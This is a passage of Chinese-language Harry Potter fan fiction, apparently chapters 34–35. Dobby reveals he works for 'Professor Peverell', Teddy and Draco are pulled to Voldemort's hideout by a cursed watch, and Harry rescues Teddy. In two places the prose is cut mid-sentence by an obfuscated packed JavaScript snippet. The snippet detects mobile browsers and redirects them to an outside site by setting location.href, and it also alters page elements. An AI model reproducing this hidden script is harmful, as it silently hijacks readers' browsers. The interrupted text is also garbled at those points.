“衣服?”听到这句话的弗雷德才第一次去打量小精灵的衣着——不是它们常穿的枕套,而是洗得干干净净的小衣服,脚上还套着好几只品味奇特的毛袜子——他抓抓脑袋,“难道有野生小精灵的吗?” “多比是自由的家养小精灵!”多比骄傲地仰起和瘦小的身体不成比例的大脑袋。“不是野生的!” “那我们更想不到你会来找我们的原因了。”乔治防备地说。 多比在空中翻了个跟斗,绿眼睛甚至流露出崇敬的热情,“多比是自由的!可是多比现在在为佩弗利尔教授工作!佩弗利尔教授问多比能不能帮他带你们安全的地方……哦,多么亲切,多么宽容的人,以前从来没有人问过多比愿不愿意……多比的选择是多么正确,多比以前的主人只会命令多比,用死亡威胁多比……” 说到最后,多比一把鼻涕一把泪地自言自语,完全无视因为震惊于事情意外的进展而彻底石化的四人。 “你说你是佩弗利尔教授派来帮我们的?”乔治艰难地咽了口唾沫,神情里带着难以掩饰的惊喜。 多比连连点头,耳朵甩得啪嗒啪嗒响,“佩弗利尔教授很担心,哦,他的脸色多么苍白……多比不能让他再生病……所以多比要尽快把你们带到安全的地方!” 乔治这才了然,“那你要带我们去——”可他话还没说完,就被泰迪急切的声音打断,“哈利受伤了?他现在怎么样?伤得重不重?” 一提起哈利的伤,小精灵的耳朵便耷拉下来,双手把自己的衣服攥得皱巴巴的,大大的眼睛饱含泪水,“佩弗利尔教授很不好,很虚弱……他昏迷了好几天,多比一直在照顾他……多比治不好他……”它冷不防地扑向旁边的栎树,用脑袋疯狂地撞着树干,“无能的多比!没用的多比!” 泰迪没想到自己一句话引起多比这么大的反应,一时呆滞在原地,不知所措。 倒是弗雷德迅速把多比拉回来,把它丢给罗恩,让他拽着它的衣领防止它再去自虐,然后对泰迪说,“家养小精灵都是心灵比玻璃还脆弱,受不起刺激的家伙,说话小心点。”顿了顿,又安慰道,“佩弗利尔教授既然能叫它来救我们,应该是没大碍的。看来我们撞到的魔法障碍就是佩弗利尔教授布置的,所以他才能马上察觉到是我们。”他下结论。 愣愣地点点头,泰迪强迫自己去相信哈利的平安,又看看哽咽不止、快哭得死去活来的多比,换了另一个疑惑了很久的问题,“弗雷德,家养小精灵……到底是什么?” 多比正抓过罗恩的衣角大声地擤鼻涕。后者脸色惨白。 在双胞胎的解释下,泰迪对家养小精灵多少有了些了解,可他的疑问并没有被完全解答,“你们说小精灵是古老巫师家族才会有的,但哈利怎么会忽然有小精灵了?” 乔治耸耸肩,“最奇怪的是,它是‘自由’的。” “‘自由’的小精灵很奇怪吗?” “不奇怪,小精灵因为失职而被主人‘赐’衣服的例子不是没有,但对于忠于那个家族的它们来说,却是绝对的耻辱。没有一个小精灵会乐于得到自由的。除了这个——”乔治指指把哭得脏兮兮的小脸埋在有满肚子怨言却不敢发作的罗恩怀里的多比,“居然能这么开心……”他打了个响指,想出一个满意的形容词,“另类,我喜欢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156371|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泰迪脸上挂下三条黑线。 “所以说,一个自由的小精灵,偏偏在给佩弗利尔教授工作——这很不正常。”弗雷德谨慎地说,“也许我们该问问它。” 面对众人的质疑,小精灵很快抹干了眼泪,爽快地回答,“多比原来的主人在找东西时不小心把袜子扔给了多比,于是多比自由了!当然多比很高兴离开坏心眼的主人家——”说到这里,它仿佛受到很大的惊吓,深深吸了口气,“坏多比!多比说主人坏话了!多比必须得惩罚自己!” “行了,那是‘原主人’。”乔治一把抓住急于撞头的多比,提醒道,“你现在的主人不是佩弗利尔教授吗?” 小精灵还没从惊慌中恢复过来,喘着大气,“没错,谢谢您,亲切的先生。可佩弗利尔教授不是多比的主人!”它尖声尖气地纠正,“佩弗利尔教授和多比只是普通的雇佣关系,多比还是自由的!” “得到自由后,多比一直想找份有工钱的工作。可对于家养小精灵,实在是困难重重。多比找了很久很久,整整一年了,大家都不愿意雇用这样的小精灵。多比原本已经放弃了希望,但两个星期前,多比在对角巷遇到了佩弗利尔教授——”多比语调里洋溢着敬爱之情,“多比只是个最卑微的小精灵,没人会平等地对待多比,可佩弗利尔教授请多比喝果汁,还提出给多比每周十个加隆的工资,外加周末休息,请多比帮他打理他的家。” 小精灵的眼睛闪闪生辉,似乎那是十分了不起的事,“佩弗利尔教授对多比用‘请’!可是就算他不用,多比也不会拒绝他……难以想象的、既慷慨又高尚的人,十个金加隆!”多比把一只掉到脚踝的袜子拉上来,有些诚惶诚恐地说,“多比想要工钱,这样就能给自己买许多袜子。但多比不能要太多,多比更喜欢工作。于是多比请求减少点工资,佩弗利尔教授答应了,并让多比直接叫他的名字,可是多比怎么可以这么叫……” “为什么你不肯叫?只要叫一次就会习惯了。”大致弄清楚来龙去脉的泰迪蹲下来,把脸凑近多比的大脑袋,好奇地问道。 “为什么?”多比以难以置信的语调拔高嗓音,“多比怎么可以直呼仁慈的佩弗利尔教授的教名?多比不配!” 泰迪摇摇头,“我以为你会希望哈利高兴?” “多比当然希望——” “那么叫他的名字吧,他会高兴的。”泰迪认真地说。 多比颤抖着嘴皮想说什么,却忽然“啪”的一声消失在原地。 被莫名留下的四人面面相觑。 “该不会是害羞躲起来了吧?”乔治挑眉。 “我敢说它是去‘告白’了。”弗雷德露出诡谲的笑容,让泰迪都开始怀疑自己是不是说了什么不该说的话。 “它就不能先把我们带出去再说吗?”罗恩哭丧着脸,衣服的一角黏糊糊的。 不等他们作出更多猜测,家养小精灵啪地凭空出现在原来的位置,看上去就像从来没离开过。 “哈……哈……”多比看似鼓足勇气,结结巴巴地说。 “哈什么?”四人莫名其妙。 “哈……利——”小精灵欢喜地尖叫着,总算叫出口的名字让它兴奋不已,“让多比先带各位去斯内普教授家里!” “什么?”四人再次异口同声。不同的是,泰迪欢喜中透着担忧,双胞胎眼珠子开始滴溜溜转,罗恩彻底陷入绝望。 多比挨个把泰迪他们幻影移行到斯内普在蜘蛛巷的家门外,却说什么也不肯再往前一步,仿佛屋里有巨龙在张大嘴等着它。 “多比,你为什么不跟我们进去?”泰迪拉着多比的衣服不让它逃,“西弗和哈利都在里面吗?” “多比必须回去!”多比惊恐万状地摇晃着大脑袋,使劲往外拔自己的衣服,“多比想起来了,多比还没打扫卫生呢,还要准备早餐——” 泰迪顿时无语,现在离天亮貌似还有好几个小时—— 门里传来啪嗒开锁的声音,多比浑身僵硬,蝙蝠似的耳朵不受控制地颤动,车灯般的眼睛瞪得比任何时候都大。趁着泰迪被开门声吸引的当口,发出很响的爆裂声,只给他们留下一丝白烟。 “你们是谁?” 穿着睡衣的德拉科·马尔福靠着门框,一边打哈欠,一边懒洋洋地望着瞠目结舌的四人。 34. 不一样的德拉科 沉沉夜幕下的蜘蛛巷,一只栖息在院子里老树上的灰色猫头鹰偶尔从喉咙里咕噜两声,琉璃珠般的圆眼睛映出正门前奇异的对峙场面。 “德拉科·马尔福?你怎么会在——这里?”罗恩疑惑地环顾四周,难道多比把他们带错地方了? 敏锐地捕捉到罗恩语气里微妙的敌意,德拉科掀起嘴角,依然是那副慵懒的神态,“我想我更有权利问你们这个问题。”借着朦胧月色,他微微眯起眼睛扫视在场的四人,“深更半夜拜访别人家可不是礼貌的行为。” 乔治用挑衅的口吻说,“我想我的视力足够好,蜘蛛巷不是你的马尔福庄园吧?马尔福。” “你说得对。”德拉科轻轻哼了一声,十分干脆地往里面挪了挪,做了个标准的贵族式邀请手势,“虽然我本身很不欢迎你们,但恐怕现在没有别的选择。” 十分钟后,在斯内普家的厨房里亮起一盏灯。德拉科·马尔福悠闲地坐在桌子一侧,另四人则一字排开站在另一侧。 也许是从罗恩口中听说过假马尔福的事,乔治和弗雷德神色中都透露着不信任。而泰迪从刚才起就一声不吭,只是默默地观察着眼前熟悉又陌生的“校友”。 德拉科惬意地捧着一杯温热的牛奶,轻啜几口,完美地无视了来自韦斯莱兄弟的明显敌意。 “现在你可以回答我们的问题了吗?”罗恩终于忍不住问道。 “我以为自我介绍是基本的礼貌?”德拉科挑眉,“看上去你们都认识我,可惜,我不认识你们。” 罗恩被堵得差点一口气没上来,没好气地率先说,“罗恩·韦斯莱。” “乔治·韦斯莱。” “弗雷德·韦斯莱。” “那头红发,果然是韦斯莱一家的。” 泰迪清楚地听见德拉科在犯嘀咕——也仅此而已,他没有再说更具冒犯性的话。 说不上是不是松了口气,泰迪尽量友好地说道,“泰迪·卢平。” 德拉科满意地点点头,“两个消息,一好一坏,你们要先听哪个?” 泰迪他们不安地交换了几个视线。 “坏的。”乔治说。 “佩弗利尔教授不在,而你们得在这里呆到天亮再通过临时建立的飞路网回去。”德拉科瞥见泰迪顿时露出的大失所望神色,耸耸肩,“相信我,和你们共处一晚,这对于我来说也是再糟不过的消息了。” “那么好的呢?”弗雷德眯起眼。 “斯内普教授也不在,你们可以随便选一个空着的客房去美美地睡一觉。” “另外,斯内普教授还委托我警告任何试图闯进他的实验室捣乱、偷药、炸坩埚、以身试毒等等的人——”德拉科面带嘲讽,掰着手指头一项项数过来,一字不漏地复述斯内普的留言,“他绝对不介意在开学那天就从格兰芬多拿走几百块宝石,并为精力过剩的人增加几个愉快的劳动服务。” 这番威胁针对的对象是显而易见的。双胞胎交换了一个饱含恶作剧意味的眼神。 乔治坏坏一笑,“这为我们的新产品找到了方向。” 弗雷德的笑容更是看起来奸诈之极,“没错,一扣分就会让他昏厥上三天三夜的魔药。” 两人互相搭肩离开了起居室,泰迪满头黑线地目送他们离开,几乎敢肯定他们下一站是要去哪里。先不提他们有没有能力做出那种“奇特”的魔药,他是不是该提醒他们,西弗的实验室门口是由两条极北蝰蛇把关的? 而一旦放松下来,倦意就阵阵袭来。罗恩起身打了个大大的哈欠,“伙计,你不去睡吗?” 泰迪看了眼恹恹坐着的德拉科,“你先去吧,我不困。” 罗恩皱皱眉,“别跟他混太久。”走之前还朝德拉科扔了个带有警告意味的瞪视,后者正低头盯着杯里的牛奶,只把后脑勺留给了他。 五个人一下子走了三个,狭小空间里的温度似乎也降下不少。 颇有些局促不安地坐到德拉科的对面,泰迪的眼睛一时不知道往哪儿放,正巧摆在桌上的一只破旧手表吸引了他的注意力。 乍看不过是只再普通不过的镀金手表,表带上满是划痕,可它的指针却纹丝不动地停在11:59的位置,也就是说,这只手表停了。 泰迪正在琢磨斯内普什么时候带过这样的手表,打破沉默的声音把他飘远的思绪拉了回来。 “你是佩弗利尔教授的教子?” “你可以叫我泰迪。”下意识地点点头,泰迪把视线从手表那里移回来,却和德拉科兴味十足的目光对了个正着。“你认识哈利?那你为什么会在西弗家?” “西弗?” 泰迪对斯内普的称呼已经让上至教授下至全校学生都掉过下巴了,每人掉下巴的平均次数大于一。显然,德拉科·马尔福也即将光荣地成为了其中一员。 果然,德拉科吃惊地微微张大嘴,好一会儿才意识到自己的失态,连忙干咳了两声,“好吧,斯内普教授在这个暑假给我补课,好让我赶上二年级的进度。”他顿了顿,“还有佩弗利尔教授也是。” “所以你就住过来了?”泰迪眨了眨眼,为他们之间能和平对话而感到有点欣喜。 “这样比较方便,况且斯内普教授和父亲关系不错。虽然我父亲极度反对,说在这里我会得不到妥善的照顾。”德拉科的浅蓝眼眸飞快地掠过一丝厌恶的神情,在脸上摆了个假笑,“我倒是觉得这决定很正确,尤其是在正常情况下,佩弗利尔教授是不会被父亲邀请进庄园的。” 泰迪若有所思地注视他。直到德拉科不自在地避开视线,咬着牙说,“佩弗利尔教授没教过你盯着别人脸看是种冒犯吗?” “哦,对不起。”泰迪讪讪一笑,“我只是在想,你自己要求的?” “要求什么?” “要求……或者说坚持住在西弗家里。” 德拉科像瞪着怪物似的看了他半晌,“佩弗利尔教授可没跟我说过你有这么敏锐。” 泰迪不置可否地耸耸肩。“介意告诉我理由吗?” “单纯在家里呆厌了而已。” 直觉地,泰迪认为德拉科大概没说实话,又想起在霍格沃兹的德拉科·马尔福是假冒的,便试探着问,“所以你去年一直呆在家里吗?”这话一说出口,他就后悔了,因为德拉科的脸色在霎那间蒙上一层阴云。 果然,德拉科用冰冷冷的、带有攻击性的口气回道,“探听别人的隐私是你的嗜好?” “对不起。”一边呐呐地道歉,泰迪意识到自己刚才的问题已经越过了眼前铂金色头发的男孩的底线。 大概看出泰迪面露愧色,德拉科摆摆手,“不,我心情也不大好。” 意料之外的回复让泰迪窘迫地把视线重新转移回那块手表上。“这块手表是西弗的?”他特意转移了话题,可心思完全不在这上头。 不管是对话时给人的感觉还是他本身表现出的态度,在德拉科·马尔福身上,那个动不动就和小哈利或罗恩针锋相对,且总是趾高气扬的斯莱特林学生的影子淡薄了许多。 心里就像被塞了一团乱糟糟的毛线,泰迪暗暗叹气。 他一定是混乱了。 眼前这个才是真正的德拉科·马尔福不是吗? 德拉科随意瞄了眼,“应该是吧?我没注意过。” 泰迪哦了一声,又词穷了。他没有看到本来停止走动的手表指针居然向前进了一格,正正地指向12点方向。 厨房里的空气因两人的相对无语而变得尴尬无比。 终于,德拉科懒洋洋地站起身,“我想我该去睡——”最后一个字被他硬生生堵在喉咙里,浅蓝色的眼睛瞪得大大的,本就苍白的脸色如今变得煞白。 “怎么?”泰迪不解地顺着他的视线看去,也惊恐地睁大了眼睛。桌上不知什么时候出现个小小的漩涡,一只手臂缓缓地自漩涡里伸出来,而手腕上戴着的正是那块破旧的手表。一切都来得那么匪夷所思,泰迪甚至来不及去思考,只觉得脖子被狠狠掐住,透不过气来的难受让他连悲鸣也做不到,猛地就被往下拉。 视界开始扭曲,在他彻底陷入黑暗前,似乎模模糊糊听到有人在大喊。 “泰迪!” 这种过程一点也不舒服。 泰迪尽可能张大嘴,贪婪地吸着弥漫着腐烂气味的空气,脖子被掐所造成的窒息感开始慢慢褪去。 等他从强烈的压力和晕眩感中缓过神来,呼吸再次顺畅起来时,才发现他和德拉科双双摔倒在一条黑暗且深不见底的走廊里。 德拉科失去了意识,右手还牢牢地攥住泰迪的左手腕。泰迪愣怔片刻,看来德拉科似乎是赶在他消失前顺利地拉住了他的手。只可惜,那股力量过于强大,结果是两个人一起被送到这个陌生的地方。 “醒醒,德拉科。”泰迪摇了摇德拉科,后者一巴掌拍开他的手,翻了个身迷迷糊糊地说,“让我再睡会儿,多比,再吵我就把你的耳朵夹在门缝里。” 泰迪一愣,多比以前的主人是德拉科?回想起多比逃跑时惊恐万分的模样,再联想德拉科无意识的梦话,他恍然大悟,难怪—— 对多比好感十足的泰迪开始暗自思量回去后该怎么和他探讨关于虐待小精灵的话题。 随后他又重重地叹气,摆在眼前的难题才是大麻烦呢。 梅林才知道他们是不是还回得去。 “你再不起来我就扔下你不管了。”无奈之下,泰迪直接用两只手指捏紧睡得香甜的德拉科的鼻子——观其熟练程度,看来以前常用这招来对付哈利。 百试百灵的一招,事实证明,不管是巫师还是麻瓜,只要缺少必要的氧气,就能看到梅林或上帝在向他们招手。所以我们优雅的德拉科先生为了避免提前几十年就投入梅林的怀抱,满脸怨气地从地上爬起来,顺带警慎地四处张望一番,在发现他们现在的处境后,脸上的神情便立刻被惊慌所取代,“我们在哪儿?” “不知道。”泰迪也站了起来,不慌不忙地拍拍裤子上沾到的灰,“那块怪异的手表是怎么回事?”一提到那块手表,脖子上就仿若还残留着被扼住的感觉,泰迪用力揉搓着后颈,只希望能把那恶心的触感去掉。 “如果没有那只来历不明的手,我会以为是个门钥匙。”德拉科犹豫着说,语气不怎么确定。 “门钥匙是什么?” “真是好问题。”德拉科用极度鄙视的眼光斜睨他。显然,就某方面来说,泰迪继承了哈利对魔法世界的无知。 “那是一种魔法工具,可以进行空间转换。” 泰迪点点头,并不知道自己差点被德拉科冠上“魔法世界小白”的外号,“那现在怎么办?”连他自己也没察觉,不知不觉间他已经把德拉科当成可以商量的伙伴了。 “你带魔杖了吗?把它拿出来。”德拉科声音里透着些紧张,“我们沿着这条走廊向前走,也许会有什么发现。” 泰迪觉得这个建议不错,他拔出魔杖,正准备念“荧光闪烁”,德拉科一手挡住他,一手在嘴边做了个噤声的手势。 隐没在黑暗深处的走廊尽头隐约传来断断续续的声音。 “……主人……时间……” “是人的说话声,前面有人。”仔细辨别了会儿,德拉科肯定地说。他的声音比先前压低好几倍,而泰迪艰难地点点头。 两人轻手轻脚地向走廊尽头移动,泰迪把魔杖放低了些,尽量不让它撞到墙壁或摆置在两旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156372|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雕塑而发出任何声响。 “真希望房间里的人不是麻瓜,一无是处的他们根本提供不了任何帮助。”德拉科忽然低声说。 听出他口气里的不屑,泰迪极为不赞同地试图反驳,可他已经没机会了——走廊尽头的房间近在咫尺,可以看出门是虚掩着的,但里面是什么情景却不得而知。泰迪紧张地咽了口唾沫,伸手去推门,就在手离门还有两英尺的时候,德拉科阻止了他的动作,并做手势示意泰迪学着他的样把耳朵贴近门面。不一会儿,只听一个毕恭毕敬的男声响起,“我的主人,您真的决定要离开吗?” “我已经等了太久。”另一个声音响起,犹如指甲在玻璃上划过一样令人发毛,让泰迪不舒服地动了动身体,“十一年的隐忍,是时候开始实施计划了。真是期待那只老蜜蜂的表情,他以为我还会给他足够的时间储蓄力量吗?”那把声音冷笑道。 “可是日记和挂坠还未找到,我的主人。” “卢修斯那边还是没有消息吗?” “没有,据说那本日记本去年就不见了——” “那么你应该知道你今后的任务是什么,一年的时间。”沙哑的声音冷冷地说。“记住,你承担不起两次失败。” “是……是的,主人。” 随后是短暂的静默。 屋内两人的对话让躲在门外偷听的泰迪一头雾水。实施计划?日记本和挂坠又是怎么回事?怎么听都像是坏人在策划阴谋。他以询问的目光看向身边的同伴,可入目的是德拉科的满脸震惊。 他是怎么了? 泰迪的困惑只维持了短短几秒,因为一个新的声音蓦地响起。 “主人,您是否有什么打算?” 泰迪眼睛越睁越大,他听到了什么? 冰冷的声音充满狂傲,“没错,西弗勒斯。你们应该为此欢呼,第四个……” 他后面还说了些什么,可思绪变成一片空白的泰迪压根没听进去。 那把熟悉得绝对不会认错的声音。还有那个名字! 泰迪从未如此震惊过,以至于心里只剩下一个念头——西弗在做什么? “啪嗒!” 在死一般的寂静中,本来清脆的魔杖落地声无异于最可怕的爆炸声,在空荡荡的走廊里回荡。 那是泰迪的魔杖。 同时,房里的声音顿消。 “把躲在外面的人带进来。”冰冷无情的声音仿佛在宣判死刑。 知道自己的不小心酿成大错的泰迪手心顿时变得冰凉,哆嗦的脚控制不住地后退了两步。他看了看同样不知所措的德拉科,从颤抖的牙缝里好不容易挤出两个词,“德拉科,快跑!” “昏昏倒地!”一束红光越过泰迪的脸庞,德拉科没有发出一点声音,重重地倒在他身边。 虚掩的门开了。 绝望的阴影笼罩在泰迪头上。 迈出房门的正是斯内普。 他虚掩上门,居高临下地扫了眼掉落在地上的魔杖,目光移过昏迷的德拉科,最后回到泰迪身上。 对上他空洞无神的眼睛,泰迪又是一阵心悸。 他想像往常一样叫他“西弗”,可那个昵称噎在嘴边怎么也说不出来。 眼前的是他熟悉的西弗,还是一个陌生人? 漠视泰迪难以置信的表情,斯内普对他举起魔杖。 泰迪心里被恐惧充斥,但斯内普没有对他用昏迷咒,而是禁锢咒——这令他浑身动弹不得。然后他看到斯内普在他身上盖了一层如丝般滑的透明物质——小哈利也拥有一件——是隐身衣。 把昏迷不醒的德拉科夹在腋下,斯内普没有再往泰迪的方向看上一眼,转身回到房间里面。 在门被掩上前的那瞬间,泰迪可以窥见房间的一隅。昏暗的房间没有点燃壁炉,也没有其它照明,一股阴气沉沉的气息迎面扑来。即使眯着眼努力辨别,也只能大致判断出除了斯内普外还有两个人影,完全看不清面貌。 这些都不是泰迪所在意的。 斯内普异常的举动把他彻底搞糊涂了——他把他藏起来,却把德拉科带给那个“主人”! 泰迪不敢肯定自己现在这样算不算安全了,也不知道德拉科会遭到什么待遇——会被折磨吗?还是……被杀? 被杀…… 这个想法一旦在脑海里升起便一发不可收拾——泰迪仿佛看到德拉科脸上布满死灰色,不再转动的眼珠直勾勾地瞪着他——而这种想像在折磨着他的神经。 泰迪迫切地想确认德拉科的安全与否。然而他四周好像还被下了隔音咒,任他努力竖起耳朵,试图捕捉房间里最细微的声音,也再听不到他们的对话。 一个人在陷入无助的时候,首先想起的往往就是自己最亲近的人,所以从刚刚起泰迪就一直在心里默默祈求着,“哈利……哈利……你在哪里……求求你快过来吧……”天真地以为哈利能听到他的求助。 时间一分一秒地流淌,泰迪不知在焦虑中煎熬了多久,终于,半掩的门再次被悄无声息地打开。 他眼神复杂地等待着,以为出来的仍是斯内普。 他猜错了。 那是张陌生的脸庞,尽管泰迪有种似曾相识的感觉。 那人毫不犹豫地径直向他的方向走来,隐形衣的效果对他而言似乎根本不存在。 被发现了吗? 泰迪绝望地闭上眼睛。 很快,一只大手隔着隐形衣摸上他的脑袋,行动被禁锢的泰迪想躲却躲不过。 但随之他便怔住了,一股熟悉而温暖的气息包围他的全身,轻柔地抹去他眼中的恐惧。 ——是哈利的牡鹿。 下一刻,他们幻影移行了。 35. 一忘皆空的无奈 哈利怀疑自己绝对是被倒霉之神盯上了。 要不他怎么会才喝完毒药就被折磨得死去活来,昏睡的时候莫名其妙梦到被金妮甩的过去,刚醒来气都没喘口就发现教子“离家出走”并和自己布置的魔法屏障卯上了,把多比送去接应后想松口气吧偏偏伏地魔压榨劳力来个半夜召唤,更别提一靠近伏地魔就会变得火辣辣的、堪称“黑魔王情绪测量仪”的伤疤了。 诅咒梅林,不用劳烦伏地魔对他使用阿瓦达索命他迟早也会把自己折腾死。 刚被伏地魔扔下的某个惊天响雷炸得七荤八素的哈利,如今错愕地看到斯内普带进来的——他宁愿相信自己还在近视——居然是昏迷状态下的德拉科·马尔福。 可在短暂的思维短路后,哈利终究没法无视他的视力极好,而那副黑框圆眼镜也许正被搁置在某家中古店里卖不出去的事实。 那么—— 德拉科·马尔福不是该和自己的教子他们一起乖乖呆在蜘蛛巷的吗? 有哪位好心人能告诉他现在又算是什么情况? “一个……男孩?”伏地魔毫无感情的声音犹如浇了盆冷水,哈利一个激灵,下意识地朝斯内普望去。 把哈利的注视当成空气,斯内普面色如常地回道,“是的,他是卢修斯·马尔福的儿子,德拉科·马尔福。” “哦?”伏地魔似乎陷入长久的沉默。 有那么一瞬间,哈利的右手微微动了动,但当他对上斯内普不带任何感情色彩的脸庞时,忽然淡定了,并暗暗鄙视了一番自己的不镇定。 “主人,您打算如何处置他?”维持着表面的恭敬,多少揣摩出斯内普用意的哈利躬身询问。 “他怎么会在这里?” 感觉到伏地魔血红的眼眸在黑暗后注视他们,哈利迅速垂下眼睑,只觉得后颈寒毛倒竖。他知道伏地魔在发怒,因为即使他的克制力再强,额头伤疤上灼烧般的疼痛是消除不去的。 “主人,德拉科·马尔福最近一直寄宿在我家里。”斯内普回答时似乎有所迟疑,“他只是个12岁的孩子,没有能力特意跟踪在我后面。所以我猜测,他极有可能是在不知情的情况下通过‘手’来到这里的。” “‘手’只能由食死徒使用。”伏地魔冷冷地提醒他。“除非你们预设它的启动时间,我很失望,你们该不是故意泄露——” 斯内普猛然跨前一步,单膝跪下,“我的主人,请您相信,我们绝无二心。” “给我证据。”伏地魔冷酷的声音嘶嘶作响,如同毒蛇一般危险,“你说该怎么处置这个男孩?” “杀了他,我的主人。”斯内普的头又低下几分,果决地回答。 伏地魔闪着幽幽红光的眼睛转向哈利,“你怎么说?巴蒂。” 哈利不露声色地瞄了眼把表情掩藏在阴影中的斯内普,也配合着把头埋得更深,“我赞成,主人。不能留下这个男孩。” 只不过,在冷静的表面下,他心头有个小人在呲牙咧嘴地挥舞拳头—— 斯内普你最好保证你能赌赢。 然而伏地魔接下来的话让他彻底松了口气,“不,留他一命,对他下遗忘咒。既然是卢修斯的儿子,这个男孩留着以后有用。”随后,他用犹如蛇滑过地面的沙沙声音说道,“牢记你们各自的任务,等我回来的时候,就是我们再次崛起之时。” 腐朽的地板发出咿呀咿呀的声音,等哈利再次反应过来时,眼前只有一把空的摇椅在前后摇晃。 伏地魔走了。 哈利勉强使力站起来,强撑的精神一旦放松,全身的骨头在疲惫中咯吱作响,后背更是早已被冷汗湿透。 在使用了几个探测魔咒,确定房间里的确没有黑魔王的存在后,他才毫不吝啬地扔了个恶狠狠的眼神给斯内普。 ——他有没有想过万一失败了怎么办? 不理会哈利略带不满的视线,斯内普兀自蹲下身用魔杖检查德拉科的状况,在确认他无事后便施了个遗忘咒。然后才仿佛第一次注意到还有哈利的存在,缓缓站起,冷漠无情的眼神与隐含质问的目光在空中相遇。 没指望斯内普会良心发现给他个说法,哈利十分干脆地走近问道,“他怎么样?”那个“他”指的自然是德拉科。 可哈利没有得到回答,反而是一根细长的魔杖兀的被递到他面前。 哈利一愣,狐疑的视线从斯内普木然的脸上,移到他的手上。 在看清楚那根魔杖的瞬间,哈利宛如脑袋受到重重一击,脑中轰轰乱响,忍不住发出一声压抑的惊呼。 心脏猛烈跳动起来。他不会认错的,那是泰迪的魔杖! 哈利用吃人的眼光看向斯内普,“他在哪里?”他咬牙问道,惊觉声音竟然嘶哑得不像是自己的。问完眼角瞥到躺在地上的德拉科·马尔福,心里陡然一震,不等斯内普回答,便以最快的速度夺门而出。他早该想到了,躲在门外偷听的不只是马尔福一人。 “带他去蜘蛛巷。”背后传来斯内普漠然的声音,可哈利才顾不上那么多,他现在满脑子都是泰迪的安危。 门外是空荡荡的走廊。 但哈利只是在门口站了几秒,便敏锐地捕捉到离他不远的某个角落里断断续续的呼吸声。他立刻醒悟过来——是隐形衣。 他不知道这件隐形衣是打哪儿来的,尽管他很不情愿去承认这十有八九是斯内普的杰作。 那么泰迪应该是被藏在隐形衣之下,看样子也不像有受到伤害,是昏过去了吗?还是—— 不管怎样,哈利内心隐隐放下一块巨石,朝发出微弱声音的地方走去。有着将近十年的使用隐形衣的经验,一旦确定目标后,要找到泰迪对于哈利来说并不困难。 才走几步路的功夫,哈利就肯定自己找对了地方。为了以防万一,他也不急着掀去隐形衣,只是向半空中伸出一只手,果然,他摸到了泰迪的头。那么接下来就是尽快离开这个鬼地方。 哈利轻哼了声。这时他才想起出来之前好像听到斯内普叫他们去蜘蛛巷。 下一刻,他们幻影移行了。 …… 幻影移行带来的不适感渐渐消退,泰迪睁开双眼,惊讶地发现手脚上无形的束缚已然解开,隐形衣也被丢到了一边。 他抬起视线,入目的首先是他曾经睡过好几次的房间,然后便是有着浅黄色头发的陌生面孔。那个人蹲在他面前,脸上布满担忧。 “哈……利?”泰迪迟疑着,不确定地问道。 看到泰迪有些后怕的样子,哈利准备了满肚子的责备在嘴里溜达一圈,最后还是全部吞了回去。 他点点头,“是我。” 得到哈利肯定的答复,虽然不清楚哈利为什么会伪装成这副模样,但泰迪绷紧的心总算稍稍放松了点。他用还带有点疑惧的眼神环顾四周,小心翼翼地问,“我们安全了?” “很安全。” 泰迪愣愣地点头,忽然睁大双眼,四下张望找不到目标后焦急地问,“德拉科呢?我看到他被——”说到这里他顿住了,即将脱口而出的名字令他的表情出现瞬间的凝滞。 但那只是一闪而过,本就精神不济的哈利并没有察觉泰迪的异常,他挥挥手,显得很疲惫地说,“放心,他没事。斯内普会负责照顾他的。” 听到斯内普的名字,泰迪没由来的哆嗦了一下。 他回忆起脖子上还残留着的掐痕,走廊里毛骨悚然的气氛,德拉科中咒倒下时沉闷的声音,斯内普冰冷而陌生的眼神,独自一人被遗留在黑暗里的恐惧,以及绝望…… 最后涌上的是哈利特有的温暖气息—— 一个个记忆片段在眼前盘旋,泰迪再也忍不住,扑进哈利怀里放声大哭。 哈利一个不稳跌坐在地,看着蜷缩在自己怀里颤抖的瘦小身躯,叹了口气,便由着他尽情哭泣。搭在泰迪背上的手有一下没一下地拍着,哈利的思绪却渐渐飘远了——他最后一次哭是什么时候?小天狼星死的时候?还是邓布利多?唯一肯定的是,自己好像自懂事以来就不喜欢让别人看到自己的眼泪。 因为不愿让自己懦弱的一面暴露在他人面前。 或许也因为没有可以放心哭泣的对象。 所以宁愿自己默默地咀嚼痛苦。 再后来便是沉重的责任逼得自己不得不坚强——只因为他是哈利·波特。 这么一想,又觉得泰迪能哭出来未尝不是好事。 不久后,泰迪的哭声逐渐变弱,哈利笑着问,“感觉好点了?” 泰迪坐起身,揉了揉肿得跟桃子似的眼睛,轻轻“嗯”了声。脸颊上的潮红还未褪去,眼睛更是垂得低低的,大概是刚哭过觉得丢脸,不敢直视哈利。 “很好,今晚你受的够多了。忘了那些不愉快的,趁着天还没亮去睡一觉?”哈利强打精神,开始履行一个称职的教父的义务——虽然他可能忘了,把自己教子丢在别人家将近一个月可不是负责任的行为。 泰迪没有动。现在他直勾勾地看进哈利碧绿的眼眸,表情无比认真,“哈利,我想问你几个问题,你要老实回答。” 诧异于泰迪态度上忽然的转变,哈利竟然产生种莫名的心虚感,“当然,你问。” 